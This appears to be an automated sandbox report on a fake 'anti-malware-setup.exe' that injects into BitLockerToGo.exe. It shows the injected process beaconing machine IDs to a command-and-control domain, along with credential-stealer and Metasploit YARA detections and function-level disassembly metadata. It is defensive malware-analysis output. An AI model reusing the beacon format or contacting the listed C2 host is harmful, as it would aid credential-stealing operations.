2025-01-10 10:34:37 UTC	1217	OUT	Data Raw: 2d 2d 49 42 4e 43 31 4b 58 52 43 4f 59 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 43 31 42 38 34 30 43 34 45 44 35 46 35 38 46 34 45 43 30 45 39 37 39 46 31 31 37 36 39 42 35 0d 0a 2d 2d 49 42 4e 43 31 4b 58 52 43 4f 59 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 49 42 4e 43 31 4b 58 52 43 4f 59 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 64 34 65 38 31 39 35 31 33 30 36 0d 0a 2d 2d 49 42 4e 43 31 4b 58 Data Ascii: --IBNC1KXRCOYGContent-Disposition: form-data; name="hwid"2C1B840C4ED5F58F4EC0E979F11769B5--IBNC1KXRCOYGContent-Disposition: form-data; name="pid"1--IBNC1KXRCOYGContent-Disposition: form-data; name="lid"HpOoIh--bd4e81951306--IBNC1KX
2025-01-10 10:34:38 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 10:34:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7oolv6g6mk0o0fnpgqunroasch; expires=Tue, 06 May 2025 04:21:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t4h4Nvi97872I4j0d63xQG1xF4gJPwiQqiTF2FlLEeLz%2FtCHAAs2IvwqlsCzY8Fisn63xxQuqzjHOnUXKZ73SCUxmtHCYcceMYMMiZWSPQ6DG9WD2sT7SwS6%2BEhuZwKhvZ6t"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffc03fdb8f18cda-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1870&min_rtt=1863&rtt_var=712&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2840&recv_bytes=2128&delivery_rate=1521625&cwnd=243&unsent_bytes=0&cid=d5843d305f84670b&ts=1507&x=0"
2025-01-10 10:34:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-10 10:34:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	62017	104.21.48.1	443	6204	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 10:34:39 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=G1ZN91Z2ZW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1079 Host: sputnik-1985.com
2025-01-10 10:34:39 UTC	1079	OUT	Data Raw: 2d 2d 47 31 5a 4e 39 31 5a 32 5a 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 43 31 42 38 34 30 43 34 45 44 35 46 35 38 46 34 45 43 30 45 39 37 39 46 31 31 37 36 39 42 35 0d 0a 2d 2d 47 31 5a 4e 39 31 5a 32 5a 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 47 31 5a 4e 39 31 5a 32 5a 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 64 34 65 38 31 39 35 31 33 30 36 0d 0a 2d 2d 47 31 5a 4e 39 31 5a 32 5a 57 0d 0a 43 Data Ascii: --G1ZN91Z2ZWContent-Disposition: form-data; name="hwid"2C1B840C4ED5F58F4EC0E979F11769B5--G1ZN91Z2ZWContent-Disposition: form-data; name="pid"1--G1ZN91Z2ZWContent-Disposition: form-data; name="lid"HpOoIh--bd4e81951306--G1ZN91Z2ZWC
2025-01-10 10:34:39 UTC	1122	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 10:34:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0kvbff9l9d9icjtb1kmrq3cvd3; expires=Tue, 06 May 2025 04:21:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BVHwkuMVkvQqkkHsofD4RDxw1649MdoxZyci06JjYGilVclRODSDmHHRD8AIIe6f1AbpdXEzCw1%2Bb6dBj8H%2F8PwAIe7gl5WNiWI91QPTlC2saf6waN%2F86DfcXfkricwrLWVP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffc040adc6142e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1731&min_rtt=1725&rtt_var=659&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1988&delivery_rate=1645997&cwnd=240&unsent_bytes=0&cid=c8dcacb07848ce4c&ts=583&x=0"
2025-01-10 10:34:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-10 10:34:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	62024	104.21.48.1	443	6204	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 10:34:40 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 121 Host: sputnik-1985.com
2025-01-10 10:34:40 UTC	121	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 70 4f 6f 49 68 2d 2d 62 64 34 65 38 31 39 35 31 33 30 36 26 6a 3d 62 39 61 62 63 37 36 63 65 35 33 62 36 66 63 33 61 30 33 35 36 36 66 38 66 37 36 34 66 35 65 61 26 68 77 69 64 3d 32 43 31 42 38 34 30 43 34 45 44 35 46 35 38 46 34 45 43 30 45 39 37 39 46 31 31 37 36 39 42 35 Data Ascii: act=get_message&ver=4.0&lid=HpOoIh--bd4e81951306&j=b9abc76ce53b6fc3a03566f8f764f5ea&hwid=2C1B840C4ED5F58F4EC0E979F11769B5
2025-01-10 10:34:40 UTC	1118	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 10:34:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=olnv1v9gv3n073la2o7pk878sp; expires=Tue, 06 May 2025 04:21:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1e0HnSKKDaaoCCtAlggecpoRLccJKJ6lUyMmdCPMjV32Pzlwb%2FJP1o2vivR3FkqXXDFC4QQuPhdYWAYxUoS40QvhPMPpYhRvmBzjfLQ2wl8uzwQsuymcDsB9KSyj8iOIHXlW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffc04127858c461-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1628&min_rtt=1622&rtt_var=620&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2841&recv_bytes=1022&delivery_rate=1746411&cwnd=228&unsent_bytes=0&cid=1ed75eb1318c8df3&ts=468&x=0"
2025-01-10 10:34:40 UTC	54	IN	Data Raw: 33 30 0d 0a 52 4a 72 63 70 4f 56 76 53 4d 6f 4f 2f 41 6a 47 70 2b 73 68 7a 79 32 69 68 74 32 7a 4e 30 66 6a 38 79 4f 73 56 6e 73 43 44 6f 73 66 78 77 3d 3d 0d 0a Data Ascii: 30RJrcpOVvSMoO/AjGp+shzy2iht2zN0fj8yOsVnsCDosfxw==
2025-01-10 10:34:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	05:34:00
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\anti-malware-setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\anti-malware-setup.exe"
Imagebase:	0xcd0000
File size:	4'063'744 bytes
MD5 hash:	FEDB69AF5DE74D46366AD0570E77D9AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000002.2322019566.000000000213A000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:34:23
Start date:	10/01/2025
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Imagebase:	0xb00000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2411433910.0000000003497000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Function 00CFBD40 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2318498130.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.2318465214.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2318665080.0000000000E9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2318665080.0000000000F8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2318665080.0000000000F93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2318665080.0000000000FAC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2318665080.0000000000FB1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2318665080.0000000000FB5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2320081075.000000000107D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2320109809.000000000107E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2320131718.000000000107F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2320157029.0000000001080000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2320182902.0000000001089000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2320182902.0000000001099000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2320182902.000000000109D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2320182902.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2320261419.00000000010B9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2320276892.00000000010BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2320276892.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_anti-malware-setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8bac5558e55969c32dc51b64a7c4527bb7c2bbf13c3dd7484c4191df8abf1c4
Instruction ID: 23a9a6e37cf2b1e0acf6f13e1859e122e8c202bbe6249b7f10329da4b6c34be3
Opcode Fuzzy Hash: c8bac5558e55969c32dc51b64a7c4527bb7c2bbf13c3dd7484c4191df8abf1c4
Instruction Fuzzy Hash: A351E0B46083058FD314DF28D1A476ABBF0FF89758F10896CE5988B392D77A9945CF42

Analysis Process: BitLockerToGo.exePID: 6204, Parent PID: 4996COMMON

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	67.8%
Total number of Nodes:	286
Total number of Limit Nodes:	18

Executed Functions

Function 00436C90 Relevance: 30.4, APIs: 11, Strings: 6, Instructions: 640
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044068C,00000000,00000001,0044067C), ref: 00436E1D
SysAllocString.OLEAUT32(B200B204), ref: 00436EAE
CoSetProxyBlanket.COMBASE(BD24272E,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00436EF4
SysAllocString.OLEAUT32(88598850), ref: 00436FA0
SysAllocString.OLEAUT32(88598850), ref: 0043704E
VariantInit.OLEAUT32(0FCC0FD7), ref: 004370BD

Strings

Z`, xrefs: 004370CF
LLaL, xrefs: 00436D9A
k_, xrefs: 004370D7
\, xrefs: 00436DDA
C, xrefs: 00436DCF
}b, xrefs: 00436E60, 00436F9B, 00436EA9, 00437026

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: AllocString$BlanketCreateInitInstanceProxyVariant
String ID: C$LLaL$Z`$\$k_$}b
API String ID: 65563702-2615794114
Opcode ID: ad29833ed1338fee8da95c9203b6fd2dc6c77385f67a1108a53f6f6df10e7fbe
Instruction ID: be7bbc96d51e0d9d06873dcc487c05ed3c248026cdc4e50e5904f424c4761214
Opcode Fuzzy Hash: ad29833ed1338fee8da95c9203b6fd2dc6c77385f67a1108a53f6f6df10e7fbe
Instruction Fuzzy Hash: 8D2233B2A083119BD724CF68C84176BBBE5EFD9300F15892DE9D59B390D778E805CB86

Function 0040D5FD Relevance: 24.3, APIs: 1, Strings: 15, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 0040D604

Strings

8=1=, xrefs: 0040D821
)=k=, xrefs: 0040D836
1=g=, xrefs: 0040D7F7
<=)=, xrefs: 0040D82F
6= =, xrefs: 0040D828
,="=, xrefs: 0040D813
3=2=, xrefs: 0040D7E9
#=<=, xrefs: 0040D81A
}=p=, xrefs: 0040D88A
q=l=, xrefs: 0040D80C
9=+=, xrefs: 0040D805
"=6=, xrefs: 0040D7F0
!=s=, xrefs: 0040D83D
&=O=, xrefs: 0040D84B
$='=, xrefs: 0040D844

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Uninitialize
String ID: !=s=$"=6=$#=<=$$='=$&=O=$)=k=$,="=$1=g=$3=2=$6= =$8=1=$9=+=$<=)=$q=l=$}=p=
API String ID: 3861434553-2084406169
Opcode ID: e10c166e449cadfe5e427b0f141e011440bcba76ac02f030b5a7a41c0d128f99
Instruction ID: 1d13ac201350cec93a1d4c9f6dabf069617c0155b62c46b23090b54674f08de1
Opcode Fuzzy Hash: e10c166e449cadfe5e427b0f141e011440bcba76ac02f030b5a7a41c0d128f99
Instruction Fuzzy Hash: 90B105B4A007418FD728CF69D990A22BBF1FF9A30071985ADC4D68F7A2D739E805CB55

Function 004165E4 Relevance: 14.6, APIs: 1, Strings: 7, Instructions: 573
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_, xrefs: 004181EF
;h2o, xrefs: 004181A2
:v;h, xrefs: 004181E4
<n/~, xrefs: 0041822C, 00418233
7~,h, xrefs: 004181CE
q@0s, xrefs: 004181AD
"A5l, xrefs: 004181B8

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "A5l$7~,h$:v;h$;h2o$<n/~$_$q@0s
API String ID: 0-3780068648
Opcode ID: d6c6cc26523875e2cba40d58e468bd8b0425b41d77fe6d7c20336838abd28b8a
Instruction ID: 8e10c3f90e9eb06ccae32fa6bede3b07bbb00d148fa4935470ab29e0d6d4c69c
Opcode Fuzzy Hash: d6c6cc26523875e2cba40d58e468bd8b0425b41d77fe6d7c20336838abd28b8a
Instruction Fuzzy Hash: 3A1226B29083019FC7249F24C8517ABB7E1EFD5314F15892EE4D9873A1EB38D981CB56

Function 004227F6 Relevance: 14.0, Strings: 11, Instructions: 240
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-).), xrefs: 00422AEF
))0), xrefs: 00422AF7
&O7, xrefs: 0042291B
().), xrefs: 00422AFF
>)"), xrefs: 00422B0F
)!), xrefs: 00422B27
3)"), xrefs: 00422AE7
+)(), xrefs: 00422B07
#)#), xrefs: 00422B17
=).), xrefs: 00422B1F
v.B, xrefs: 004229BB

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: )!)$#)#)$&O7$().)$))0)$+)()$-).)$3)")$=).)$>)")$v.B
API String ID: 0-740882422
Opcode ID: 174ddcb0c1073a5b924e8725b956bb6790ea0586233098e12abde3eac4c50e14
Instruction ID: a5114850e952b8c59ef38c9257656ea7c20ff065b7e81d6989642306bb9eb3e9
Opcode Fuzzy Hash: 174ddcb0c1073a5b924e8725b956bb6790ea0586233098e12abde3eac4c50e14
Instruction Fuzzy Hash: 7281BCB49183109BD318DF5AE98122BBBF4FFE5304F545A2DF5D59B210D3B88902CB96

Function 004085E0 Relevance: 7.7, APIs: 5, Instructions: 220
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408604
GetCurrentThreadId.KERNEL32 ref: 0040860E
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00408772

Part of subcall function 0043A280: RtlAllocateHeap.NTDLL(?,00000000,004087C1,?,004087C1,00001388), ref: 0043A290

GetForegroundWindow.USER32 ref: 0040883A
ExitProcess.KERNEL32 ref: 004088B0

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: CurrentProcess$AllocateExitFolderForegroundHeapPathSpecialThreadWindow
String ID:
API String ID: 3634766228-0
Opcode ID: c79b31161eaab67f9f5e03b98ae6d72b444e092ca73f34092ca8b649c6f62c13
Instruction ID: 086e3edace53a1d5c1471e98d3e2b182ad2e88e46c3d2487443f827601e80181
Opcode Fuzzy Hash: c79b31161eaab67f9f5e03b98ae6d72b444e092ca73f34092ca8b649c6f62c13
Instruction Fuzzy Hash: DA611A72A043044FD318EF799D5631BF6D6ABC9310F0AC53EB999EB391DE7898048789

Function 004206D0 Relevance: 5.5, Strings: 4, Instructions: 546
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!@, xrefs: 00420703
?~, xrefs: 00420922
j~, xrefs: 00420929
,, xrefs: 00420C6B

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeapInitializeThunk
String ID: !@$,$?~$j~
API String ID: 383220839-3420566057
Opcode ID: eb696b9a81ff76e8f50d2b965ee7f65dd9cb4f791b988b329618bb3c974c226e
Instruction ID: bb1f7b71dadf4569e958f358140e1f51ea4c1085977d452122ebedaab43f38d1
Opcode Fuzzy Hash: eb696b9a81ff76e8f50d2b965ee7f65dd9cb4f791b988b329618bb3c974c226e
Instruction Fuzzy Hash: 8222CF7161C3608BC3289F68D48136FBBE2AFC5310F94892EE5D587392E7799845CB4B

Function 0042AF9F Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000005,?,00000100), ref: 0042B06D

Strings

(5Xi, xrefs: 0042AFF5

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: ComputerName
String ID: (5Xi
API String ID: 3545744682-544108822
Opcode ID: 4e2c1c84ac1f0c9119c2f895de2a90b27cd8b90ac0da9fce6f056a76107ce9ac
Instruction ID: ccaf43140a0f5cbc81473a73733068c6ded1121991b384f9f9fe1d119be33522
Opcode Fuzzy Hash: 4e2c1c84ac1f0c9119c2f895de2a90b27cd8b90ac0da9fce6f056a76107ce9ac
Instruction Fuzzy Hash: 3B11367561D6914ADB248F35C8583BBB7E5EBD6305F08452D80CAD7285CF784005C706

Function 00409B20 Relevance: 2.6, Strings: 2, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

F0G0, xrefs: 00409BFD
u0H0, xrefs: 00409C16

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: F0G0$u0H0
API String ID: 0-422099039
Opcode ID: b881b1e87e66fb038649869ed6fae0b7aa8f72ae8b1d30fcd66483a917feedd8
Instruction ID: 4e53f72a6730409e84e8950ff4302d58b30d8e3923eaf88ad368f669c711bca4
Opcode Fuzzy Hash: b881b1e87e66fb038649869ed6fae0b7aa8f72ae8b1d30fcd66483a917feedd8
Instruction Fuzzy Hash: 1731E176A193409BD314DF74DC423A7B6E1ABCA304F04893DA591D7384E7B8C905C78A

Function 0042AF24 Relevance: 1.8, APIs: 1, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042B905

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID:
API String ID: 3960555810-0
Opcode ID: e2bc28477669437abcd8647a2a36832b370209f16c869da250ceeee04688e1e1
Instruction ID: 54cfc295aa3b4cc8fe636e1ca64ff8d61a008010a8d39a073fc19eee162a7ecf
Opcode Fuzzy Hash: e2bc28477669437abcd8647a2a36832b370209f16c869da250ceeee04688e1e1
Instruction Fuzzy Hash: 8491A37050C3918AD729CF29D55076BBBE0EF97305F54085EE1CA9B3A2D33A8505CB5B

Function 0042B4E1 Relevance: 1.8, APIs: 1, Instructions: 283
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042B905

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID:
API String ID: 3960555810-0
Opcode ID: 46c556b050339564d6481be94656ffbdcda3a87a262d335a54f02c9bff1f8674
Instruction ID: 3f400867d2956580dd49c97be4e04613b7d9567a1d88427644f00e943b0b1864
Opcode Fuzzy Hash: 46c556b050339564d6481be94656ffbdcda3a87a262d335a54f02c9bff1f8674
Instruction Fuzzy Hash: 4F81C17050C3918AD729CF29955076BBBE0EF9B304F54086EE1CA9B3A2D73A8505CB5B

Function 0043E2B0 Relevance: 1.6, Strings: 1, Instructions: 316COMMON

Download Yara Rule

Strings

R!S!, xrefs: 0043E2FC

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: R!S!
API String ID: 0-2754619947
Opcode ID: 52d76bbe8310a125ddcf00cd6d5e377379fdac9428efc12511a24353b55c4c7f
Instruction ID: 22768bf2a63544a0fa42277a88cb5a1c88805c41609c8fbde0d5921a7d891c69
Opcode Fuzzy Hash: 52d76bbe8310a125ddcf00cd6d5e377379fdac9428efc12511a24353b55c4c7f
Instruction Fuzzy Hash: 0981353260A3059BD7248F59D88076BB3E1EFD8308F15983DE889873E0EB75AC45C796

Function 0043B8A0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043E8FA,005C003F,00000018,?,?,00000018,?,?,?), ref: 0043B8CE

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0043BFCD Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

D]+\, xrefs: 0043C0E0

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: D]+\
API String ID: 0-1174097187
Opcode ID: 24f6b2abcc05d60b50e09c5eaa46cb696ba0d2ef34d344d39bac536f1b5cf5a5
Instruction ID: 3389804a12a58ae7d12d741fd037ec205b2dabcb9ec0da44ff2f953e8839fc47
Opcode Fuzzy Hash: 24f6b2abcc05d60b50e09c5eaa46cb696ba0d2ef34d344d39bac536f1b5cf5a5
Instruction Fuzzy Hash: CC2178756082108BC7189F48DCC07777362FB8E308F29653DDE926B362D7356816DB89

Function 0043BD70 Relevance: 1.3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

Strings

9., xrefs: 0043BDA0

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

